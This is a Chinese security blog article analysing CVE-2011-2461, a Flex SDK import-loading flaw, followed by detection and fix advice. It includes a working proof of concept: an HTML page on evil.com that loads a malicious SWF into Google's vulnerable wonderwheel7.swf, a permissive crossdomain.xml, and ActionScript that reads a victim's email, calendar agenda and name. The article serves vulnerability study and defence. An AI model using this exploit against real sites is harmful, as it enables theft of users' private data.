CVE-2011-2461原理分析及案例
0x00 漏洞背景
從CVE編號就可以看出這個漏洞已經有一些年頭了 (1)。 由於這個漏洞發生在Flex SDK裡,而非Flash Player上。所以對於開發者而言,只要他們使用了具有該缺陷的Flex SDK來編譯FLASH,那麼其所生成的FLASH檔案也會相應的存在缺陷。一方面,開發者可能並不會及時更新自己的Flex開發工具,這會在之後的開發中繼續釋出新的具有缺陷的FLASH檔案;另一方面,即使開發者更新了自己的開發工具,但是其之前所開發的FLASH檔案依然處於缺陷狀態。
正因如此,時至今日,網上依然存在諸多具有缺陷的FLASH檔案。根據《THE OLD IS NEW, AGAIN. CVE-2011-2461 IS BACK!》中的統計資料(2),連Alexa排名前10的站點也躺槍了。這不,隨後(2015-3-30)他們又發表了一篇名為《Exploiting CVE-2011-2461 on google.com》的博文來證明CVE-2011-2461的影響 (3_。那麼一起來看看CVE-2011-2461到底是個什麼情況吧~~
0x01 漏洞成因分析
採用Flex開發的WEB應用在檔案體積上有時候會比較大,這會導致使用者等待一個比較長的下載時間,體驗實在不是很好。因此,Flex通常會使用在執行時載入“某些東西”來緩解這個問題。“某些東西”包括:執行時共享庫(Runtime Shared Libraries, RSLs)(4) 以及資源模組(Resource Modules)(5)。前者(RSLs)主要用於將一些通用及經常被用到的元件或類在第一次載入後快取到本地,避免後續每次都需要從網路上載入這些內容;而後者則與軟體本土化(localization)有關。要讓Flex開發的Web應用支援多種語言展現,一種方式是把應用及語言檔案全部打包到一個FLASH中,這樣會產生的FLASH檔案會體積較大;另一種方式則是單獨將語言檔案編譯成獨立的SWF,然後讓應用去動態載入這些SWF檔案(這些被動態載入的獨立SWF就被稱為Resource Module (2))。採用這種方式會讓應用的主檔案體積有所縮減,加快了載入速度,但正是這樣一個動態載入的機制上出現了本文所述的漏洞。
對於資源模組,Flex支援兩種方式來進行動態載入。一種是應用程式初始化時,先呼叫用resourceManager.loadResourceModule() 方法,再設定resourceManager.localeChain屬性的方式;而另一種是直接在HTML裡透過設定flashvars的值來實現 (5)。通常程式碼如下:
#!html
<param name='flashVars' value='resourceModuleURLs=es_ES_ResourceModule.swf&localeChain=es_ES'/>
接下來,我們透過檢視Flex編譯出的Flash檔案的原始碼,來看看資源模組到底是如何被載入,漏洞發生在何處。
1. mx.managers.SystemManager
定位到該類下的initialize函式
#!javascript
….
//從flashvars裡取出resourceModuleURLs引數,賦值給resourceModuleURLList
var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];
//將resourceModuleURLList按 , 號分割為resourceModuleURLs陣列
var resourceModuleURLs:Array = (resourceModuleURLList) ?
….
//從flashvars裡取出resourceModuleURLs引數,賦值給resourceModuleURLList
var resourceModuleURLList:String = loaderInfo.parameters["resourceModuleURLs"];
//將resourceModuleURLList按 , 號分割為resourceModuleURLs陣列
var resourceModuleURLs:Array = (resourceModuleURLList) ? resourceModuleURLList.split(",") : null;
//最終resourceModuleURLs進入了preloader的initialize函式
preloader.initialize(usePreloader, preloaderDisplayClass, preloaderBackgroundColor, preloaderBackgroundAlpha, preloaderBackgroundImage, preloaderBackgroundSize, (isStageRoot) ? stage.stageWidth : loaderInfo.width, (isStageRoot) ? stage.stageHeight : loaderInfo.height, null, null, rslList, resourceModuleURLs);
2. mx.preloaders.Preloader
定位到該類下的initialize函式,
#!javascript
//如果傳入的resourceModuleURLs有內容
if (((resourceModuleURLs) && ((resourceModuleURLs.length > 0)))){
n = resourceModuleURLs.length;
i = 0;
//迴圈對每一個Resource Module進行處理
while (i < n) {
//最終模組的URL進入了ResourceModuleRSLItem類
resourceModuleNode = new ResourceModuleRSLItem(resourceModuleURLs[i]);
//每個resourceModuleNode被追加到rslList中
rslList.push(resourceModuleNode);
i++;
};
};
// rslList 被傳入RSLListLoader中
rslListLoader = new RSLListLoader(rslList);
…
//隨後呼叫rslListLoader的load方法
rslListLoader.load(mx_internal::rslProgressHandler, mx_internal::rslCompleteHandler, mx_internal::rslErrorHandler, mx_internal::rslErrorHandler, mx_internal::rslErrorHandler);
…
3. mx.core.RSLListLoader
首先看該函式的建構函式,
#!javascript
public function RSLListLoader(rslList:Array){
rslList = [];
super();
//rslList被傳遞給當前類的rslList屬性
this.rslList = rslList;
}
接著看看上一步裡呼叫的rslListLoader.load函式
#!javascript
public function load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function, securityErrorHandler:Function, rslErrorHandler:Function):void{
…
//load函式呼叫loadNext函式
loadNext();
}
繼續跟loadNext,
#!javascript
private function loadNext():void{
if (!isDone()){
currentIndex++;
if (currentIndex < rslList.length){
rslList[currentIndex].load(chainedProgressHandler, listCompleteHandler, listIOErrorHandler, listSecurityErrorHandler, chainedRSLErrorHandler);
};
};
}
可以看出,實際上就是迴圈呼叫rslList裡每一個元素(ResourceModuleRSLItem)的load方法。
4. mx.core.ResourceModuleRSLItem
那麼我們接著看該類的load方法,
#!javascript
override public function load(progressHandler:Function, completeHandler:Function, ioErrorHandler:Function, securityErrorHandler:Function, rslErrorHandler:Function):void{
...
//建立一個資源管理器
var resourceManager:IResourceManager = ResourceManager.getInstance();
//呼叫資源管理器的loadResourceModule
var eventDispatcher:IEventDispatcher = resourceManager.loadResourceModule(url);
...
}
其實轉了一大圈,最後可以看到,透過設定flashvars的方式實際上最終也是透過呼叫resourceManager.loadResourceModule來實現的。
5. mx.resources.ResourceManagerImpl
loadResourceModule裡繼續看到url引數進入到了ModuleManager.getModule中,
#!javascript
public function loadResourceModule(url:String, updateFlag:Boolean=true, applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null):IEventDispatcher{
...
moduleInfo = ModuleManager.getModule(url);
...
//得到moduleInfo後,最終會呼叫moduleInfo的load方法
moduleInfo.load(applicationDomain, securityDomain);
}
6. mx.modules.ModuleManagerImpl
#!javascript
public function getModule(url:String):IModuleInfo{
var info:ModuleInfo = (moduleList[url] as ModuleInfo);
//如果info不存在,則以url為引數建立一個新的ModuleInfo例項
if (!info){
info = new ModuleInfo(url);
moduleList[url] = info;
};
//最終返回ModuleInfoProxy類的例項
return (new ModuleInfoProxy(info));
}
7. mx.modules.ModuleInfoProxy
#!javascript
public function ModuleInfoProxy(info:ModuleInfo){
super();
//ModuleInfo的例項被存入ModuleInfoProxy的info屬性裡
this.info = info;
…
}
根據前面可知,將會呼叫ModuleInfoProxy的load方法
#!javascript
public function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null, bytes:ByteArray=null):void{
...
//實際上最終呼叫的是info的load方法,即呼叫ModuleInfo例項的load方法
info.load(applicationDomain, securityDomain, bytes);
...
}
8. mx.modules.ModuleInfo
最終我們就能看到(2)中PPT裡提到的程式碼部分,
#!javascript
public function load(applicationDomain:ApplicationDomain=null, securityDomain:SecurityDomain=null, bytes:ByteArray=null):void{
…
var r:URLRequest = new URLRequest(_url);
//建立一個LoaderContext -> c
var c:LoaderContext = new LoaderContext();
c.applicationDomain = (applicationDomain) ? applicationDomain : new ApplicationDomain(ApplicationDomain.currentDomain);
c.securityDomain = securityDomain;
//設定LoaderContext的securityDomain 到SecurityDomain.currentDomain
if ((((securityDomain == null)) && ((Security.sandboxType == Security.REMOTE)))){
c.securityDomain = SecurityDomain.currentDomain;
};
loader = new Loader();
….
//最終以當前的安全域載入外部模組
loader.load(r, c);
}
以上就是整個程式碼流程,問題就發生在c.securityDomain = SecurityDomain.currentDomain; 這一句程式碼上。在Adobe官方手冊對於securityDomain的解釋上(6),可以看到這樣一段描述(非直譯): “同域情況下,即當1.com的FLASH A檔案載入1.com下的FLASH B檔案,B檔案與A檔案具有相同的安全域;而跨域情況下,即當1.com的FLASH A檔案載入2.com下的FLASH B檔案時,則會有兩種選擇:一種是預設情況下載入,此時B檔案具有與A檔案不同的安全域,換言之,兩者是隔離的;另一種方法則是透過特定的函式呼叫或者特定屬性的設定讓被載入的B檔案具有和A相同的安全域,這種載入方式被稱為“匯入式載入(import loading)”。 匯入式載入通常有兩種方法:一種是透過Loader的loadBytes函式。在context為預設值時,loadBytes將會把內容匯入到當前的安全域內。其函式形式如下:
#!javascript
loadBytes(bytes:ByteArray, context:LoaderContext = null):void
另一種方法則是透過設定LoaderContext的securityDomain,然後再load,典型程式碼如下:
#!javascript
loaderContext.securityDomain = SecurityDomain.currentDomain;
loader.load(urlReq,loaderContext);
可以看出,cve-2011-2461 就是採用了第二種方式來進行了匯入式載入。最終就會導致如下圖所示的問題,可以看到我們在“駭客.com”的Flash B裡編寫惡意程式碼,將會被匯入式載入“融入”到“目標.com”的Flash A裡,從而可以讀取“目標.com”下的內容。
0x02 案例分析
其實,知道上面的原理後,再來看google這個案例就不難理解了。首先是https://www.google.com/wonderwheel/wonderwheel7.swf
存在本文所說的問題,那麼我們可以構造出以下程式碼
#!html
(http://evil.com/poc/test.html):
<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
type="application/x-shockwave-flash"
data="https://www.google.com/wonderwheel/wonderwheel7.swf">
<param name="allowscriptaccess" value="always">
<param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">
</object>
上面這個程式碼,使得https://www.google.com/wonderwheel/wonderwheel7.swf將會以“匯入式載入”的方式將http://evil.com/poc/URLr_google.swf“融入”進來,即URLr_google.swf具有與wonderwheel7.swf相同的安全域。當然要記得在evil.com根目錄下放置一個crossdomain.xml允許wonderwheel7.swf來載入它,像這樣。
#!html
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="www.google.com" />
</cross-domain-policy>
URLr_google.swf的AS程式碼如下(有點長,其實不是很想貼上上來了。。),反正大概就是獲取一些可以獲取的敏感資訊(非重點,不多說)。
#!javascript
package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events. * ;
import flash.net. * ;
import flash.external.ExternalInterface;
public class URLr_google extends Sprite {
public static
var app: URLr_google;
private static
var email: String;
public
function main() : void {
app = new URLr_google();
}
public
function URLr_google() {
var url: String = "https://www.google.com/?gws_rd=cr";
var loader: URLLoader = new URLLoader();
configureListeners(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListeners(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}
private
function pingCalendar() : void {
var url: String = "https://www.google.com/calendar/";
var loader: URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListenersCalendar(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}
private
function getAgenda() : void {
var url: String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader: URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request: URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch(error: Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private
function configureListenersAgenda(dispatcher: IEventDispatcher) : void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}
private
function completeHandler(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);
var s: String = loader.data;
var pattern: RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results: Array = s.match(pattern);
if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}
private
function completeHandlerCalendar(event: Event) : void {
getAgenda();
}
private
function completeHandlerAgenda(event: Event) : void {
var loader: URLLoader = URLLoader(event.target);
var res: String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern: RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results: Array = unescape(res).match(pattern);
if (results.length > 0) {
var name: String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}
總之吧,原理如下圖所示,個人覺得原博文中圖太醜,自己重新畫了一個,雖然也不是很好看。。:
這裡我也給出一個具有缺陷的flash檔案,以便分析https://appmaker.sinaapp.com/cve-2011-2461.htm。
0x03 漏洞檢測
檢測該漏洞,實際上可以透過反編譯FLASH來檢視相關缺陷程式碼是否存在,原博文的作者給出了檢測工具ParrotNG(java編寫,基於swfdump)來識別有漏洞的SWF檔案,可以在命令列在使用這個工具,也可以透過burp外掛的機制來使用這個工具。
0x04 修復與防禦
對於這個漏洞,修復與防禦措施可能有如下幾點:
更新開發工具
對於採用老版本SDK編譯產生的swf檔案,可以使用新版本的開發工具重新編譯一下,或者採用修復工具對swf進行補丁(https://helpx.adobe.com/flash-builder/kb/flex-security-issue-apsb11-25.html)。當然,如果檔案已經很古老,直接暴力的刪掉就好了。
將swf等存在安全風險的靜態資原始檔放置到獨立的域名下,可最大程度避免此類問題。
開發者在編寫相關程式碼時,應該儘量避免使用“匯入式載入”;在使用Loader類時,應該對載入的URL進行合法性判斷。
0x05 結語
原文:“There are still many more websites that are hosting vulnerable SWF files out there. Please help us making the Internet a safer place by reporting vulnerable files to the respective website's owners.”,
中文:“說不定還有很多站有這個問題,找到了趕緊報烏雲!!”
讀者:“欺負我看不懂英文!!”
0x06 參考
[1) https://www.adobe.com/support/security/bulletins/apsb11-25.html
[2) http://blog.nibblesec.org/2015/03/the-old-is-new-again-cve-2011-2461-is.html
[3) http://blog.mindedsecurity.com/2015/03/exploiting-cve-2011-2461-on-googlecom.html
[4) http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf674ba-7fff.html
[5) http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf69084-7f3c.html#WS2db454920e96a9e51e63e3d11c0bf6119c-8000
[6) http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/LoaderContext.html
相關文章
- 反射原理及案例2021-12-28反射
- Unsortbin attack原理及分析2024-04-26
- 萬字猛文:MQTT原理及案例2024-02-06MQQT
- springmvc工作原理及原始碼分析2018-12-20SpringMVC原始碼
- 【linux】helloword原理分析及實戰2020-11-15Linux
- AQS的原理及原始碼分析2021-12-27AQS原始碼
- HashMap實現原理及原始碼分析2018-07-30HashMap原始碼
- Java執行緒池原理及分析2020-11-04Java執行緒
- 常用的資料分析方法及案例講解2023-12-08
- mybatis原理,配置介紹及原始碼分析2018-10-31MyBatis原始碼
- JVMTI Agent 工作原理及核心原始碼分析2018-05-26JVM原始碼
- Redis Pipelining 底層原理分析及實踐2024-04-11Redis
- 虛擬執行緒原理及效能分析2023-12-12執行緒
- (CVE-2019-5786) 漏洞原理分析及利用2020-07-01
- JAVA常用資料結構及原理分析2020-11-09Java資料結構
- CAS原理分析及ABA問題詳解2019-03-13
- Lepton 無失真壓縮原理及效能分析2022-07-05
- Spring 事件監聽機制及原理分析2020-11-25Spring事件
- MySQL Binlog 技術原理和業務應用案例分析2020-07-15MySql
- Flutter進階:路由、路由棧詳解及案例分析2019-03-04Flutter路由
- 什麼是iPaaS?iPaaS選型、落地及案例分析2024-10-11
- Chrome 外掛特性及實戰場景案例分析2021-11-23Chrome
- Java記憶體問題 及 LeakCanary 原理分析2018-03-26Java記憶體
- Nacos配置中心叢集原理及原始碼分析2022-03-29原始碼
- 2020海外博彩遊戲市場及產品案例分析2020-07-02遊戲
- 04 . Filebeat簡介原理及配置檔案和一些案例2020-07-21
- SQL隱碼攻擊原理及程式碼分析(二)2020-07-09SQL
- SQL隱碼攻擊原理及程式碼分析(一)2020-07-04SQL
- 《大型網站技術架構:核心原理與案例分析》讀書筆記 - 第3篇 案例2018-12-28網站架構筆記
- Conflux Meetup No.4(北京站) | DApp開發及案例分析2019-04-09UXAPP
- SSH 協議基本原理及 wireshark 抓包分析2018-09-27協議
- JUC(4)---java執行緒池原理及原始碼分析2020-05-24Java執行緒原始碼
- 簡要分析ZooKeeper基本原理及安裝部署2019-05-27
- Taro原理分析、遷移指南及開發注意事項2022-01-25
- 無源互調分析儀PIM Analyzer原理及應用2022-07-17
- 架構安全性設計、部分示例及原理分析2022-02-12架構
- 區塊鏈金融風控系統執行規則分析及開發案例分析2023-05-19區塊鏈
- defi質押挖礦dapp系統開發原理技術分析(案例演示)2023-03-08APP